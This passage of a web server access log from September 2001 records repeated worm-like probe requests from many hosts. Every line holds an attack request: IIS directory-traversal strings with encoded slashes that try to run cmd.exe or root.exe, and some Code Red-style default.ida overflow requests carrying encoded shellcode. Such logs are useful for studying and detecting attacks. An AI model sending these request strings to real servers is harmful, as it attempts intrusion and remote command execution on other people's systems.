  13200. 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13201. 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13202. 20010920 12:44:39: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13203. 20010920 12:44:40: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13204. 20010920 12:44:40: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13205. 20010920 12:44:40: dhcp31-145.ee.washington.edu [128.95.31.145] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13206. 20010920 12:44:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13207. 20010920 12:55:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13208. 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13209. 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13210. 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13211. 20010920 12:55:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13212. 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13213. 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13214. 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13215. 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13216. 20010920 12:55:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13217. 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13218. 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13219. 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13220. 20010920 12:55:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13221. 20010920 12:55:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13222. 20010920 12:55:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13223. 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13224. 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13225. 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13226. 20010920 12:57:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13227. 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13228. 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13229. 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13230. 20010920 12:57:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13231. 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13232. 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13233. 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13234. 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13235. 20010920 12:57:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13236. 20010920 12:57:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13237. 20010920 12:57:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13238. 20010920 12:57:17: kahu.aloha.net [207.12.14.61] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13239. 20010920 13:18:54: kahu.aloha.net [207.12.14.61] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13240. 20010920 13:18:55: kahu.aloha.net [207.12.14.61] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13241. 20010920 13:18:56: kahu.aloha.net [207.12.14.61] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13242. 20010920 13:18:57: kahu.aloha.net [207.12.14.61] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13243. 20010920 13:19:02: kahu.aloha.net [207.12.14.61] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13244. 20010920 13:19:03: kahu.aloha.net [207.12.14.61] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13245. 20010920 13:19:04: kahu.aloha.net [207.12.14.61] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13246. 20010920 13:19:04: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13247. 20010920 13:19:05: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13248. 20010920 13:19:06: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13249. 20010920 13:19:07: kahu.aloha.net [207.12.14.61] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13250. 20010920 13:19:07: kahu.aloha.net [207.12.14.61] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13251. 20010920 13:19:08: kahu.aloha.net [207.12.14.61] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13252. 20010920 13:19:09: kahu.aloha.net [207.12.14.61] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13253. 20010920 13:19:10: kahu.aloha.net [207.12.14.61] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13254. 20010920 13:19:10: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13255. 20010920 13:38:13: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13256. 20010920 13:43:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13257. 20010920 14:11:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13258. 20010920 14:11:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13259. 20010920 14:11:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13260. 20010920 14:11:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13261. 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13262. 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13263. 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13264. 20010920 14:12:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13265. 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13266. 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13267. 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13268. 20010920 14:12:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13269. 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13270. 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13271. 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13272. 20010920 14:12:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13273. 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13274. 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13275. 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13276. 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13277. 20010920 14:12:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13278. 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13279. 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13280. 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13281. 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13282. 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13283. 20010920 14:12:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13284. 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13285. 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13286. 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13287. 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13288. 20010920 14:12:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13289. 20010920 14:20:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13290. 20010920 14:20:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13291. 20010920 14:20:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13292. 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13293. 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13294. 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13295. 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13296. 20010920 14:20:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13297. 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13298. 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13299. 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13300. 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13301. 20010920 14:20:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13302. 20010920 14:20:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13303. 20010920 14:20:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13304. 20010920 14:20:24:  [64.208.123.229] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13305. 20010920 14:21:07:  [64.208.123.229] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13306. 20010920 14:21:26:  [64.208.123.229] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13307. 20010920 14:21:45:  [64.208.123.229] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13308. 20010920 14:22:04:  [64.208.123.229] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13309. 20010920 14:22:22:  [64.208.123.229] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13310. 20010920 14:22:41:  [64.208.123.229] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13311. 20010920 14:22:59:  [64.208.123.229] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13312. 20010920 14:23:18:  [64.208.123.229] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13313. 20010920 14:23:37:  [64.208.123.229] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13314. 20010920 14:23:56:  [64.208.123.229] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13315. 20010920 14:24:15:  [64.208.123.229] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13316. 20010920 14:24:34:  [64.208.123.229] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13317. 20010920 14:24:52:  [64.208.123.229] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13318. 20010920 14:25:11:  [64.208.123.229] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13319. 20010920 14:25:30:  [64.208.123.229] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13320. 20010920 14:25:49: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13321. 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13322. 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13323. 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13324. 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13325. 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13326. 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13327. 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13328. 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13329. 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13330. 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13331. 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13332. 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13333. 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13334. 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13335. 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13336. 20010920 14:52:12: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13337. 20010920 15:09:19: dhcp187-121.njit.edu [128.235.187.121] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13338. 20010920 15:14:16: dhcp187-121.njit.edu [128.235.187.121] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13339. 20010920 15:14:16: dhcp187-121.njit.edu [128.235.187.121] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13340. 20010920 15:14:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13341. 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13342. 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13343. 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13344. 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13345. 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13346. 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13347. 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13348. 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13349. 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13350. 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13351. 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13352. 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13353. 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13354. 20010920 15:35:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13355. 20010920 15:35:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13356. 20010920 15:35:55: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  13357. 20010920 15:36:56:  [209.71.127.50] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13358. 20010920 15:37:22:  [209.71.127.50] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13359. 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13360. 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13361. 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13362. 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13363. 20010920 15:37:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13364. 20010920 15:37:42:  [209.71.127.50] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
